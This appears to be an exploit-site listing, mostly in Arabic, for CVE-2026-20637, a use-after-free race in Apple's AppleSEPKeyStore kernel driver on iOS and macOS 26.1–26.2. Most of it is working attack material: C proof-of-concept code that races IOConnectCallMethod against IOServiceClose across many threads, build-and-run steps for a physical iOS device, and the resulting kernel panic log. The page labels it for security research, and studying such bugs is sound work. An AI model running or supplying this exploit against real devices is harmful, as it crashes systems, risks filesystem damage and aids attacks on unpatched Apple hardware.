Sploitus

Exploit for CVE-2026-20637-AppleSEPKeyStore-UAF

kitploit · 2026-09-03

Exploit Code

MARKDOWN103 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ENFILADE-LABS-CVE-2026-20637-APPLESEPKEYSTORE-UAF
# CVE-2026-20637 — ثغرة الاستخدام بعد التحرير في AppleSEPKeyStore

**CVE-2026-20637** · Enfilade · enfilade.io

> **المكوّن:** AppleKeyStore
> 
> **الأثر:** قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام.
> 
> **الوصف:** تمت معالجة مشكلة الاستخدام بعد التحرير من خلال تحسين إدارة الذاكرة.
> 
> _—محتوى أمان Apple، iOS 26.3 وiPadOS 26.3_

## الهدف

|   
---|---  
iOS| 26.1 – 26.2 (تم اختباره)  
macOS| 26.1 – 26.2 (تم اختباره)  
المكوّن| `com.apple.driver.AppleSEPKeyStore`  
تم التصحيح| iOS 26.3 / iPadOS 26.3  
  
ربما قامت Apple بتصحيح هذه الثغرة تدريجيًا بين الإصدارين 26.2.1 و26.3، لذا قد لا تظهر المشكلة في الإصدارات الوسيطة.

## تحذير

سيؤدي تشغيل إثبات المفهوم (PoC) إلى انهيار نواة الجهاز (kernel panic). احفظ عملك قبل التشغيل. قد يؤدي تكرار حالات الانهيار إلى تلف نظام الملفات. لأغراض البحث الأمني فقط.

## الثغرة

ثغرة استخدام بعد التحرير في `IOCommandGate` يتم استغلالها عبر سباق (race) في `AppleKeyStore`. ثمانية خيوط استدعاء تهاجم `IOConnectCallMethod` على المحددات 0–15 بينما تتنافس أربعة خيوط إغلاق على `IOServiceClose`، مما يُنتج نافذة زمنية يتم فيها الوصول إلى بوابة الأوامر بعد تحريرها.

## إثبات المفهوم

root@kitploit:~
    
    
    #define AKS_SERVICE_NAME "AppleKeyStore"
    #define NUM_CALLERS      8
    #define NUM_CLOSERS      4
    #define NUM_ITERATIONS   100000
    
    static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
    
    // 8 خيوط استدعاء: تهاجم IOConnectCallMethod (أولوية عالية)
    while (!done) {
        io_connect_t conn = atomic_load(&g_conn);
        if (conn == IO_OBJECT_NULL) continue;
        for (uint32_t sel = 0; sel < 16; sel++) {
            IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
        }
    }
    
    // 4 خيوط إغلاق: تتنافس على IOServiceClose (أولوية عالية)
    while (!done) {
        io_connect_t conn = atomic_load(&g_conn);
        if (conn == IO_OBJECT_NULL) continue;
        IOServiceClose(conn);
        atomic_store(&g_conn, IO_OBJECT_NULL);
    }
    
    // الخيط الرئيسي: 100 ألف اتصال، بدون تأخير
    for (int i = 0; i < NUM_ITERATIONS; i++) {
        uint32_t type = (i % 4 == 0) ? 0x2022
                      : (i % 4 == 1) ? 0xbeef
                      : (i % 4 == 2) ? 0x1337
                                     : 0x4141;
        IOServiceOpen(svc, mach_task_self(), type, &conn);
        atomic_store(&g_conn, conn);
        // بدون تأخير — نافذة سباق ضيقة
    }
    

## البناء والتشغيل

  1. افتح `ios-app/Test.xcodeproj` في Xcode.
  2. اختر جهاز iOS فعليًا (لن يصل المحاكي إلى برنامج التشغيل).
  3. قم بالبناء والتشغيل وتشغيل إثبات المفهوم من التطبيق.



## سجل الانهيار

root@kitploit:~
    
    
    panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
      (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
       72: 0xfffffffffffffe00
    
    Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
      root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
    
    Panicked task 0xffffffe5b4f1e820: pid 956: Test
    
    Kernel Extensions in backtrace:
       com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
          @0xfffffff016a47020->0xfffffff016a84f9f
    

## الترخيص

انظر LICENSE.